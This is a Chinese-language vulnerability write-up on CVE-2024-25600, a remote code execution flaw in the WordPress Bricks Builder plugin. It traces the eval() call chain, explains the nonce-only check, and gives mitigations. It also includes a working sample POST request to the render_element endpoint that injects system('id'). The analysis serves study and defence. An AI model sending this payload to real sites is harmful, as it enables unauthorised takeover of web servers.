CVE-2024-25600 WordPress Bricks Builder远程代码执行漏洞分析
字数 1826 2025-08-29 08:29:59

WordPress Bricks Builder 远程代码执行漏洞分析 (CVE-2024-25600)

漏洞概述

CVE-2024-25600 是 WordPress Bricks Builder 插件中的一个高危远程代码执行漏洞,影响版本为 1.9.1 至 1.9.6。该漏洞允许攻击者通过构造恶意请求在前台执行任意 PHP 代码,导致完全控制网站服务器。

漏洞影响

  • 影响版本: 1.9.1 ≤ Bricks Builder ≤ 1.9.6
  • 漏洞类型: 远程代码执行 (RCE)
  • 攻击复杂度: 低
  • 权限要求: 无 (前台利用)
  • CVSS 评分: 9.8 (Critical)

漏洞成因

漏洞主要由三个关键因素共同导致:

  1. 危险函数调用: 插件中直接使用 eval() 执行用户可控输入
  2. 权限校验不足: 仅依赖 WordPress nonce 进行校验,而 nonce 可从前端获取
  3. 输入控制不严: 用户输入未经充分过滤直接进入危险函数

技术细节分析

1. 危险函数调用链

漏洞最终触发点在 eval() 函数执行攻击者可控的 $php_query_raw 参数:

eval( "return $php_query_raw;" );

$php_query_raw 的值来源于:

$php_query_raw = bricks_render_dynamic_data( $query_vars['queryEditor'], $post_id );

2. 用户输入传递路径

攻击者输入通过以下路径传递到危险函数:

  1. 通过 REST API 端点 /wp-json/bricks/v1/render_element 发送请求
  2. 请求中的 element.settings.query.queryEditor 参数被处理
  3. 经过 prepare_query_vars_from_settings() 函数处理
  4. 通过 bricks_render_dynamic_data() 函数处理
  5. 最终到达 eval() 函数

3. 关键代码逻辑

bricks_render_dynamic_data() 函数分析

该函数对输入的处理逻辑如下:

  1. 如果输入是数组且非空,直接返回第一个元素
  2. 如果输入包含 name 键且非空,返回其值
  3. 如果输入不包含 { 字符,直接返回
  4. 如果包含 {echo: 字符串,去除转义反斜线
  5. 最终通过 apply_filters 处理返回

类实例化漏洞点

关键漏洞触发路径涉及动态类实例化:

new $element_class_name( $element )

攻击者可通过控制 $element_class_name$element 参数,最终触发 Query 类的实例化,进而调用危险函数。

4. 权限绕过问题

漏洞利用仅需满足以下条件:

  • 有效的 nonce 值(可从页面源码获取)
  • 构造符合要求的 REST API 请求

WordPress 官方文档明确指出 nonce 不应作为权限验证的唯一依据,但插件仅依赖 nonce 校验导致了权限绕过。

漏洞利用

利用条件

  1. 目标站点使用 Bricks Builder 插件 1.9.1-1.9.6 版本
  2. 能够获取有效的 nonce 值(可从页面源码获取)

利用步骤

  1. 从目标站点页面源码中获取有效的 nonce 值
  2. 构造恶意 POST 请求发送到 /wp-json/bricks/v1/render_element 端点
  3. queryEditor 参数中插入恶意 PHP 代码

示例攻击载荷

POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "postId": "1",
    "nonce": "a980a714d9",
    "element": {
        "name": "container",
        "settings": {
            "hasLoop": "",
            "query": {
                "useQueryEditor": "",
                "queryEditor": "system('id');",
                "objectType": ""
            }
        }
    }
}

修复方案

  1. 升级插件: 升级到 Bricks Builder 1.9.6 以上版本
  2. 临时缓解措施:
    • 禁用 Bricks Builder 插件
    • 限制访问 /wp-json/bricks/v1/ 路径
    • 使用 WAF 规则拦截可疑请求

漏洞挖掘启示

  1. 危险函数审计: 关注 eval()system() 等危险函数的使用
  2. 输入源追踪: 完整追踪用户输入从入口到危险函数的路径
  3. 权限校验审查: 检查所有敏感操作的权限校验是否充分
  4. 动态代码执行风险: 特别注意动态类/方法调用等灵活但危险的特性

时间线

  • 漏洞发现: 2024年初
  • 漏洞修复: Bricks Builder 1.9.6+
  • CVE分配: CVE-2024-25600

参考资源

  1. Bricks Builder 官方更新日志
  2. WordPress 官方安全建议
  3. CVE 官方数据库记录

该文档全面分析了 CVE-2024-25600 漏洞的技术细节、利用方式和防御措施,可作为安全研究和防护工作的参考。实际测试或利用时请确保获得合法授权,遵守相关法律法规。

WordPress Bricks Builder 远程代码执行漏洞分析 (CVE-2024-25600) 漏洞概述 CVE-2024-25600 是 WordPress Bricks Builder 插件中的一个高危远程代码执行漏洞,影响版本为 1.9.1 至 1.9.6。该漏洞允许攻击者通过构造恶意请求在前台执行任意 PHP 代码,导致完全控制网站服务器。 漏洞影响 影响版本 : 1.9.1 ≤ Bricks Builder ≤ 1.9.6 漏洞类型 : 远程代码执行 (RCE) 攻击复杂度 : 低 权限要求 : 无 (前台利用) CVSS 评分 : 9.8 (Critical) 漏洞成因 漏洞主要由三个关键因素共同导致: 危险函数调用 : 插件中直接使用 eval() 执行用户可控输入 权限校验不足 : 仅依赖 WordPress nonce 进行校验,而 nonce 可从前端获取 输入控制不严 : 用户输入未经充分过滤直接进入危险函数 技术细节分析 1. 危险函数调用链 漏洞最终触发点在 eval() 函数执行攻击者可控的 $php_query_raw 参数: $php_query_raw 的值来源于: 2. 用户输入传递路径 攻击者输入通过以下路径传递到危险函数: 通过 REST API 端点 /wp-json/bricks/v1/render_element 发送请求 请求中的 element.settings.query.queryEditor 参数被处理 经过 prepare_query_vars_from_settings() 函数处理 通过 bricks_render_dynamic_data() 函数处理 最终到达 eval() 函数 3. 关键代码逻辑 bricks_render_dynamic_data() 函数分析 该函数对输入的处理逻辑如下: 如果输入是数组且非空,直接返回第一个元素 如果输入包含 name 键且非空,返回其值 如果输入不包含 { 字符,直接返回 如果包含 {echo: 字符串,去除转义反斜线 最终通过 apply_filters 处理返回 类实例化漏洞点 关键漏洞触发路径涉及动态类实例化: 攻击者可通过控制 $element_class_name 和 $element 参数,最终触发 Query 类的实例化,进而调用危险函数。 4. 权限绕过问题 漏洞利用仅需满足以下条件: 有效的 nonce 值(可从页面源码获取) 构造符合要求的 REST API 请求 WordPress 官方文档明确指出 nonce 不应作为权限验证的唯一依据,但插件仅依赖 nonce 校验导致了权限绕过。 漏洞利用 利用条件 目标站点使用 Bricks Builder 插件 1.9.1-1.9.6 版本 能够获取有效的 nonce 值(可从页面源码获取) 利用步骤 从目标站点页面源码中获取有效的 nonce 值 构造恶意 POST 请求发送到 /wp-json/bricks/v1/render_element 端点 在 queryEditor 参数中插入恶意 PHP 代码 示例攻击载荷 修复方案 升级插件 : 升级到 Bricks Builder 1.9.6 以上版本 临时缓解措施 : 禁用 Bricks Builder 插件 限制访问 /wp-json/bricks/v1/ 路径 使用 WAF 规则拦截可疑请求 漏洞挖掘启示 危险函数审计 : 关注 eval() 、 system() 等危险函数的使用 输入源追踪 : 完整追踪用户输入从入口到危险函数的路径 权限校验审查 : 检查所有敏感操作的权限校验是否充分 动态代码执行风险 : 特别注意动态类/方法调用等灵活但危险的特性 时间线 漏洞发现: 2024年初 漏洞修复: Bricks Builder 1.9.6+ CVE分配: CVE-2024-25600 参考资源 Bricks Builder 官方更新日志 WordPress 官方安全建议 CVE 官方数据库记录 该文档全面分析了 CVE-2024-25600 漏洞的技术细节、利用方式和防御措施,可作为安全研究和防护工作的参考。实际测试或利用时请确保获得合法授权,遵守相关法律法规。